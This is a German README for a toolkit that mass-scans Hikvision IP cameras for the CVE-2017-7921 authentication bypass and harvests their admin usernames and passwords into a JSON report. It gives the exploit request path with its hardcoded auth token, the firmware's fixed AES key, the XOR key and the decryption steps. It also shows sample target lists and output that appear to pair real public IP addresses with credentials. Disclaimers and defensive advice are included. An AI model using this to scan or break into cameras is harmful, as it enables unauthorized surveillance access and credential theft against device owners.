
CVE-2017-7921-Research-Toolkit GUI
Dient dazu, mit Hilfe von FOFA schnell die CVE-2017-7921-Schwachstelle bei Hikvision zu testen, dabei Login-Benutzernamen und -Passwörter auszugeben und eine JSON-Datei zu erstellen.
CVE-2017-7921 Research Toolkit
Sicherheitshinweis: Dieses Tool ist nur für autorisierte Sicherheitsforschung und Schwachstellenüberprüfung bestimmt
Inhaltsverzeichnis
- Rechtliche und ethische Erklärung
- Projektbeschreibung
- Funktionen
- Installation
- Verwendung
- Ausgabe
- Verteidigungs- und Reparaturempfehlungen
- Technische Details
- Danksagungen
⚖️ Rechtliche und ethische Erklärung
Wichtiger Hinweis: Mit der Nutzung dieses Tools stimmen Sie den folgenden Bedingungen zu
- Nur für autorisierte Tests: Nur für Systeme, für die Sie eine ausdrückliche schriftliche Genehmigung haben
- Gesetze einhalten: Halten Sie sich strikt an das Cybersicherheitsgesetz und die einschlägigen Gesetze Ihres Standorts
- Verantwortungsvolle Offenlegung: Melden Sie Schwachstellen über offizielle Kanäle an den Hersteller
- Bildungszweck: Dieses Tool dient dazu, das Bewusstsein für IoT-Sicherheit zu schärfen
- Eigenverantwortung: Die rechtlichen Konsequenzen eines Missbrauchs dieses Tools trägt der Nutzer selbst
Dieses Projekt folgt der GitHub-Richtlinie zur Sicherheitsforschung und den Offenlegungsstandards des Hikvision Security Response Centers.
📖 Projektbeschreibung
Ein Massendetektions- und Verifizierungstool für die Authentifizierungsbypass-Schwachstelle CVE-2017-7921 in Hikvision-IP-Kameras, das automatische Entschlüsselung von Konfigurationsdateien und Extraktion von Anmeldeinformationen unterstützt.
Designziele
- Sicherheitsforschern helfen, den Sicherheitsstatus großer Geräteflotten zu bewerten
- Gerätebesitzern die Möglichkeit zur Selbstüberprüfung bieten
- Unterstützung bei der Erstellung von Berichten mit Reparaturempfehlungen
- Sicherheitsupgrades für IoT-Geräte vorantreiben
✨ Funktionen
- ✅ Massenscan von Gerätelisten im JSON-Format
- ✅ Multithread-Paralleldetektion (konfigurierbare Thread-Anzahl)
- ✅ Automatisches Herunterladen verschlüsselter Konfigurationsdateien
- ✅ Echtzeit-Entschlüsselung und Extraktion von Anmeldeinformationen
- ✅ Echtzeitanzeige des Scanfortschritts (tqdm)
- ✅ Automatisches Speichern der Ergebnisse als JSON-Bericht
- ✅ Unterstützung für Fortsetzung des Scans nach Unterbrechung
🛠️ Installation
Systemanforderungen
- Python 3.7 oder höher
- Nur Linux / macOS (Windows: einige Funktionen eingeschränkt)
Abhängigkeiten installieren
git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Inhalt von requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Verwendung
1. Gerätedaten-Datei vorbereiten
Erstellen Sie im Tool-Verzeichnis den Ordner zc/ und legen Sie die Geräteliste im JSON-Format darin ab (ein Geräteobjekt pro Zeile):
mkdir zc
Beispieldatei: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Felderklärung:
| Feld | Beschreibung | Erforderlich |
|---|---|---|
link | HTTP/HTTPS-Zugriffsadresse des Geräts | ✅ Ja |
city | Stadtinformation | ❌ Nein |
country | Ländercode | ❌ Nein |
org | Organisation/ISP-Information | ❌ Nein |
2. Scan-Tool ausführen
python batch_decrypt.py
3. Beispiel für interaktive Bedienung
════════════════════════════════════════════════════════════════════════════════
Massenscan-Tool für Konfigurationsdatei-Schwachstellen von Hikvision-Kameras
════════════════════════════════════════════════════════════════════════════════
Verfügbare JSON-Dateien:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 Bytes)
════════════════════════════════════════════════════════════════════════════════
Bitte wählen Sie eine Dateinummer: 1
Ausgewählte Datei: devices_2025.json
Lade Gerätedaten...
Gesamtanzahl zu scannender Geräte: 2000
Bitte Anzahl gleichzeitiger Threads eingeben (Standard: 5): 10
Anzahl Threads: 10
Scan starten...
Gesamtanzahl gescannter Geräte: 2000
Anzahl verwundbarer Geräte gefunden: 127
Verwundbare Geräte gespeichert unter: vulnerable_devices.json
📁 Ausgabe
Nach Abschluss des Scans wird vulnerable_devices.json erstellt, das alle Informationen über verwundbare Geräte enthält.
Beispielausgabe:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Verteidigungs- und Reparaturempfehlungen
Für Gerätebesitzer
- Firmware sofort aktualisieren: Besuchen Sie die Hikvision-Website, um die neueste Version herunterzuladen.
- Standardpasswort ändern: Auch nach dem Upgrade sollte das Standard-Admin-Passwort geändert werden.
- Netzwerkisolation: Kameras in einem separaten VLAN bereitstellen und direkten Zugriff aus dem öffentlichen Netz verbieten.
- IP-Whitelist aktivieren: Nur vertrauenswürdigen IPs Zugriff auf die Verwaltungsschnittstelle erlauben.
Für Sicherheitsexperten
- Scanergebnisse vertraulich behandeln: Keine detaillierten Informationen über nicht reparierte Geräte preisgeben.
- Hilfe bei Reparaturen: Eigentümer der Geräte aktiv kontaktieren und technischen Support anbieten.
- Compliance-Berichte: Sicherheitsbewertungsberichte erstellen, die den ISO 27001-Standards entsprechen.
🔬 Technische Details
Schwachstellenprinzip
- Authentifizierungsumgehung:
/System/configurationFile?auth=YWRtaW46MTEKverwendet hartcodierte Anmeldeinformationen. - Schwache Verschlüsselung: Die Konfigurationsdatei wird mit einem festen AES-ECB-Schlüssel verschlüsselt.
- Schlüsselleck: Der Schlüssel
279977f62f6cfd2d91cd75b889ce0c9aist fest in der Firmware codiert.
Verschlüsselungsablauf
- Abrufen der verschlüsselten binären Konfigurationsdatei
- AES-ECB-Entschlüsselung (ersten Block entfernen)
- XOR-Verschleierung (Schlüssel:
0x73, 0x8B, 0x55, 0x44) - Mit regulären Ausdrücken Admin-Konto und nachfolgende Passwortfelder extrahieren
📝 Lizenz
Diese Software ist nur für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Der Benutzer ist selbst dafür verantwortlich, die Einhaltung aller geltenden Gesetze sicherzustellen.
🙏 Danksagungen
- Dank an Hikvision für die rechtzeitige Reaktion und Veröffentlichung von Firmware-Updates
- Dank an die Open-Source-Community für die bereitgestellten Schwachstellenanalysen
- Dieses Projekt folgt den IoT-Sicherheitsforschung-Best Practices
Letzte Aktualisierung: 2025-01-29 | Version: v1.0.0 | Unterstützt CVE: CVE-2017-7921